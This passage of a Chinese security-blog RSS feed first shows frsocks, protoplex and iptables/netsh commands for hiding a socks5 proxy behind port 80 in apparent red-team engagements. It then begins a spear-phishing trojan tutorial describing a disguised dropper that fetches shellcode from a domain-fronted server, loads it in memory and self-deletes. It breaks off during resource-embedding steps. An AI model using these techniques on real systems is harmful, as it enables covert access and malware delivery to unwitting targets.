&#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">frsocks+protoplex+流量重定向实现端口复用</h3><h4 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;font-size: 18px;letter-spacing: 0px;white-space: normal;box-sizing: border-box;color: rgb(248, 95, 72);line-height: 1.35;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">frsocks</h4><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;"><a href="https://github.com/3gstudent/Homework-of-Go/blob/master/frsocks.go" target="_blank">https://github.com/3gstudent/Homework-of-Go/blob/master/frsocks.go</a><br/></p><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">监听本地的2333端口开启一个socks5代理。</p><pre style="color: inherit;font-size: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;padding: 0.5em;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">./frsocks -sockstype fsocks -<span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">listen</span> <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">2333</span><br/></code></pre><figure style="color: inherit;font-size: inherit;white-space: normal;line-height: inherit;"><figcaption style="margin-top: 10px;line-height: inherit;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><img class="rich_pages" data-ratio="0.17003367003367004" data-s="300,640" style="white-space: normal;" data-type="png" data-w="594" src="https://wechat2rss.xlab.app/img-proxy/?k=7ea190e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdFL8uoiclrAugyqSboPhAH5ucXwBZEO5WAXbfFxVqzcoM45Eiasaic1nJ8sVxnbum6icEHBsPxNialyxA%2F640%3Fwx_fmt%3Dpng"/></figcaption></figure><h4 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;font-size: 18px;letter-spacing: 0px;white-space: normal;box-sizing: border-box;color: rgb(248, 95, 72);line-height: 1.35;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">protoplex</h4><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;"><a href="https://github.com/Pandentia/protoplex" target="_blank">https://github.com/Pandentia/protoplex</a></p><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">这是一个协议复用的工具，比如命令可将本地9999端口的流量根据协议类型转到本地的2333和80端口。</p><p style="margin-top: 2rem;margin-bottom: 0.5rem;letter-spacing: 0px;white-space: normal;box-sizing: border-box;font-weight: 700;color: rgb(248, 95, 72);line-height: 1.35;font-size: 18px;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;"><span style="font-size: 15px;">注: 在实战环境中，先用protoplex进行分流，然后在进行重定向。</span></p><pre style="color: inherit;font-size: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;padding: 0.5em;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">./protoplex <span style="font-size: inherit;line-height: inherit;color: rgb(128, 128, 128);overflow-wrap: inherit !important;word-break: inherit !important;">--socks5 192.168.154.130:2333 --http 127.0.0.1:80 -b 192.168.154.130:9999</span><br/></code></pre><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">同时该工具还支持其他协议的分流，如：</p><ul class="list-paddingleft-2" style="padding-left: 32px;width: 577.422px;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;"><li style="margin-bottom: 0.5em;font-size: inherit;color: inherit;line-height: inherit;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">SSH</span></p></li><li style="margin-bottom: 0.5em;font-size: inherit;color: inherit;line-height: inherit;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">HTTP</span></p></li><li style="margin-bottom: 0.5em;font-size: inherit;color: inherit;line-height: inherit;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">TLS (/ HTTPS)</span></p></li><li style="margin-bottom: 0.5em;font-size: inherit;color: inherit;line-height: inherit;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">OpenVPN</span></p></li><li style="margin-bottom: 0.5em;font-size: inherit;color: inherit;line-height: inherit;"><p><span style="font-size: inherit;color: inherit;line-height: inherit;">SOCKS4 / SOCKS5</span></p></li></ul><figure style="color: inherit;font-size: inherit;white-space: normal;line-height: inherit;"><figcaption style="margin-top: 10px;line-height: inherit;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><img class="rich_pages" data-ratio="0.2505112474437628" data-s="300,640" style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;" data-type="png" data-w="978" src="https://wechat2rss.xlab.app/img-proxy/?k=5239f8bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdFL8uoiclrAugyqSboPhAH55fLSgmpfia0PlAIy2l4Rtq7a0xPscGed1d01XYBqo8KYbibhh07Ria8lA%2F640%3Fwx_fmt%3Dpng"/></figcaption></figure><h4 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;font-size: 18px;letter-spacing: 0px;white-space: normal;box-sizing: border-box;color: rgb(248, 95, 72);line-height: 1.35;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">流量重定向</h4><h5 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;font-size: 18px;letter-spacing: 0px;white-space: normal;box-sizing: border-box;color: rgb(248, 95, 72);line-height: 1.35;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">linux</h5><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">将访问80的流量重定向到9999端口</p><pre style="color: inherit;font-size: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;padding: 0.5em;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">sudo</span> iptables -t nat -A PREROUTING -p tcp -m tcp --dport <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">80</span> -j REDIRECT --to-ports <span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">9999</span><br/></code></pre><h5 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;font-size: 18px;letter-spacing: 0px;white-space: normal;box-sizing: border-box;color: rgb(248, 95, 72);line-height: 1.35;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">windows</h5><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">将本地80流量重定向到9999</p><pre style="color: inherit;font-size: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;padding: 0.5em;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(238, 220, 112);overflow-wrap: inherit !important;word-break: inherit !important;">netsh</span> interface portproxy add v4tov4 listenport=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">80</span> listen<br/>address=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">192.168.154.129</span> connectport=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">9999</span> connectaddress=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">192.168.154.129</span><br/></code></pre><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">相关操作命令：</p><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">显示系统中的转发规则列表：</p><pre style="color: inherit;font-size: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;padding: 0.5em;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">netsh <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">interface</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">portproxy</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">show</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">all</span></span><br/></code></pre><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">删除指定的端口转发规则：</p><pre style="color: inherit;font-size: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;padding: 0.5em;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">netsh <span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">interface</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">portproxy</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">delete</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">v4tov4</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">listenport</span>=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">80</span> listenaddress=<span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">192.168</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">.154</span><span style="font-size: inherit;line-height: inherit;color: rgb(174, 135, 250);overflow-wrap: inherit !important;word-break: inherit !important;">.129</span> <br/></code></pre><p style="margin-top: 1.5em;margin-bottom: 1.5em;color: inherit;font-size: inherit;white-space: normal;line-height: inherit;">清除所有当前的端口转发规则：</p><pre style="color: inherit;font-size: inherit;line-height: inherit;"><code style="margin-right: 2px;margin-left: 2px;padding: 0.5em;line-height: 18px;font-size: 14px;letter-spacing: 0px;font-family: Consolas, Inconsolata, Courier, monospace;border-radius: 0px;color: rgb(169, 183, 198);background: rgb(40, 43, 46);overflow-wrap: normal !important;word-break: normal !important;overflow: auto !important;display: -webkit-box !important;">netsh <span style="font-size: inherit;color: inherit;line-height: inherit;overflow-wrap: inherit !important;word-break: inherit !important;"><span style="font-size: inherit;line-height: inherit;color: rgb(248, 35, 117);overflow-wrap: inherit !important;word-break: inherit !important;">interface</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">portproxy</span> <span style="font-size: inherit;line-height: inherit;color: rgb(165, 218, 45);overflow-wrap: inherit !important;word-break: inherit !important;">reset</span></span><br/></code></pre><h4 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;font-size: 18px;white-space: normal;box-sizing: border-box;color: rgb(248, 95, 72);line-height: 1.35;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">效果</h4><figure style="color: inherit;font-size: inherit;white-space: normal;line-height: inherit;"><figcaption style="margin-top: 10px;line-height: inherit;text-align: center;color: rgb(153, 153, 153);font-size: 0.7em;"><img class="rich_pages" data-ratio="0.6178861788617886" data-s="300,640" style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;" data-type="png" data-w="615" src="https://wechat2rss.xlab.app/img-proxy/?k=001c0002&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdFL8uoiclrAugyqSboPhAH52EqTtZZic2TVjUBdtibE0c7ohib3t5jxx74ica71ZTGoCgUcfkz3o1Lmiag%2F640%3Fwx_fmt%3Dpng"/><img class="rich_pages" data-ratio="0.46096345514950166" data-s="300,640" style="color: rgb(62, 62, 62);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;" data-type="png" data-w="1204" src="https://wechat2rss.xlab.app/img-proxy/?k=8e1a8f6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvdFL8uoiclrAugyqSboPhAH5IRQniceA8mz4GrAI6cj9NllIQ2Ybw0Br4Sw0Yzm9QTjX37UgbDFa1Vw%2F640%3Fwx_fmt%3Dpng"/></figcaption></figure><figure style="color: inherit;font-size: inherit;white-space: normal;line-height: inherit;"><h3 style="margin-top: 2rem;margin-bottom: 0.5rem;font-weight: 700;font-size: 20px;box-sizing: border-box;color: rgb(248, 95, 72);line-height: 1.35;text-align: start;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">结语</h3></figure><p>站在巨人的肩膀上。</p><p style="white-space: normal;">本文思路和工具都来自<code style="margin-right: 2px;margin-left: 2px;padding: 2px 4px;font-size: inherit;line-height: inherit;overflow-wrap: break-word;border-radius: 4px;color: rgb(233, 105, 0);background: rgb(248, 248, 248);">sunshine</code>，仅仅记录分享一下。</p><p><br/></p>



<p><a href="2247484301">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=92cea169&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU2NTc2MjAyNg%3D%3D%26mid%3D2247484301%26idx%3D1%26sn%3D43607c6d410f94b5bfe4bdd4c810e4da%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 16 Jul 2020 17:37:00 +0800</pubDate>
    </item>
    <item>
      <title>鱼叉攻击-炮轰马的制作</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU2NTc2MjAyNg==&amp;mid=2247484285&amp;idx=1&amp;sn=3b58ec2d26defcb1f0b4d44254338b43</link>
      <description>本文主要分享钓鱼马的制作思路，也都是尝试，经验不够丰富 。关于邮件投递的问题，后续我们展开来讲。</description>
      <content:encoded><![CDATA[<p>
原创 <span>c1y2m3</span> <span>2020-07-09 17:55</span> <span style="display: inline-block;"></span>
</p>

<p>本文主要分享钓鱼马的制作思路，也都是尝试，经验不够丰富 。关于邮件投递的问题，后续我们展开来讲。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=6a38df1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fqr5uyVXdEvcGzykdQ07iaPNibScxkP33693NJib2yseI0KfQ5k2LtGYdR24Pu2VxicjjFzJpBLdz2Qfv7QOg5eEW6A%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">        本文主要分享钓鱼马的制作思路，也都是尝试，经验不够丰富 。关于邮件投递的问题，后续我们展开来讲。</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">        在红队工作中，往往长时间无法打到一个据点，鱼叉攻击会是最常见的攻击快速的手段，根据场景制定不同的邮件样本会得到意想不到的效果。</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">0x01 木马思路</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">        将样本自身图标伪装成图片或文档，运行样本之后释放资源中的相应的DOC文档以及加载器并设置隐藏文件属性，然后创建进程远程请求域前置服务端解密shellcode并加载到内存中运行，依次打开用于社工掩护的word文档迷惑目标，程序判断运行完毕并删除自身。</p><h4 style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1.2em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">实现流程</span></h4><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><strong style="box-sizing: border-box;color: inherit;font-size: inherit;line-height: inherit;">开发工具：Visual Studio 2017</strong></p><h5 style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-weight: bold;font-size: 1em;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="box-sizing: border-box;font-size: inherit;color: inherit;line-height: inherit;">一、资源释放</span></h5><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">思路：①加载文件到工程中，②使用函数查找资源，③创建文件，④写入资源。</p><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">1.在项目工程上点击右键，选择“添加资源”；</p><figure style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><img data-ratio="0.7153419593345656" title="" data-type="png" data-w="541" style="box-sizing: border-box;margin-right: auto;margin-left: auto;border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;font-size: inherit;color: inherit;line-height: inherit;display: block;" src="https://wechat2rss.xlab.app/img-proxy/?k=5550f79b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcGzykdQ07iaPNibScxkP3369B5UqADW62oDWubANOJ77lE1Q9Ej6sdL5k70rz3lfTNd7bMnCltOsiaA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">2.选择&#34;导入&#34;项，选择“所有文件”，选择要导入的文件</p><figure style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><img data-w="837" data-type="png" style="box-sizing: border-box;margin-right: auto;margin-left: auto;border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;font-size: inherit;color: inherit;line-height: inherit;display: block;" title="" data-ratio="0.07765830346475508" src="https://wechat2rss.xlab.app/img-proxy/?k=83842ed0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcGzykdQ07iaPNibScxkP3369gGlKaSNKApZfbMNCYVKDMNKjHWAXKhzFp0XuciaibdjeLa0UaKeKYa0w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">3.会弹出命名自定义资源类型的对话框，自定义我们的资源类型；</p><figure style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><img data-w="381" data-type="png" style="box-sizing: border-box;margin-right: auto;margin-left: auto;border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;font-size: inherit;color: inherit;line-height: inherit;display: block;" title="" data-ratio="0.8871391076115486" src="https://wechat2rss.xlab.app/img-proxy/?k=b03512d3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcGzykdQ07iaPNibScxkP3369Alef4h9ciarNmkbFqoQHNRMMdm4YFyICICNmwnE3rvZWPJIpviaJVZ0A%2F640%3Fwx_fmt%3Dpng"/></figure><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">4.点击确定后，完成导入，&#34;Ctrl+S&#34;保存二进制资源文件；</p><figure style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><img data-w="1079" data-type="png" style="box-sizing: border-box;margin-right: auto;margin-left: auto;border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;font-size: inherit;color: inherit;line-height: inherit;display: block;" title="" data-ratio="0.5848007414272475" src="https://wechat2rss.xlab.app/img-proxy/?k=2726c340&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcGzykdQ07iaPNibScxkP3369vlVkM9caxcwiaHYic8W67O8Siaf1CH57c4rV5pCT4YTxzqXclbvKxIE6Q%2F640%3Fwx_fmt%3Dpng"/></figure><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">5.可以在自动添加的“resource.h”头文件中看到资源ID宏；</p><figure style="box-sizing: border-box;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><img data-w="827" data-type="png" style="box-sizing: border-box;margin-right: auto;margin-left: auto;border-width: 2px;border-style: solid;border-color: rgb(238, 238, 238);border-radius: 6px;font-size: inherit;color: inherit;line-height: inherit;display: block;" title="" data-ratio="0.5441354292623942" src="https://wechat2rss.xlab.app/img-proxy/?k=12af1284&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fqr5uyVXdEvcGzykdQ07iaPNibScxkP3369ibQnXt1PghlnVyFnJ8LWUTvW7wukAM78zsN29xhFS8RgeWaaJz68g4g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="box-sizing: border-box;margin-top: 1.5em;margin-bottom: 1.5em;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);">6.编程实现载入资源。</p><ul style="padding-left: 32px;list-style-position: initial;list-style-image: initial;font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;margin-bottom: 0.5em;font-size: inherit;color: inherit;line-height: inherit;"><p><span style="box-sizing: 